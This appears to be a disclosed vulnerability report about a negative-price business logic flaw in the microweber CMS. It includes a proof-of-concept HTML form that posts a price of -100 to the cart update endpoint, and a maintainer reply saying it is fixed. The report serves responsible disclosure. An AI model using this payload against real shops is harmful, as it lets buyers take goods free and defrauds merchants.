Business Logic Errors in microweber/microweber
Valid
Reported on
Jul 20th 2021
✍️ Description
microweber
is vulnerable to Business Logic error through negative product price.
🕵️♂️ Proof of Concept
HTML content:
<form id="form" action="http://localhost/api/update_cart" method="POST" >
<input type="text" name="for" value="content">
<input type="text" name="for_id" value="1">
<input type="text" name="price" value="-100">
<input type="submit">
</form>
- Save the above content into an HTML file.
- Access the app (localhost) and add a product to the cart.
- Open the HTML file and click on
submit
button to take $100 off.
💥 Impact
It is possible to get all products for free.
Occurrences
We have contacted a member of the
microweber
team and are waiting to hear back
2 years ago
Peter Ivanov
commented
2 years ago
hi, thanks for report,
this issue is happening only on products that does not have price set in the CMS
now its fixed
to join this conversation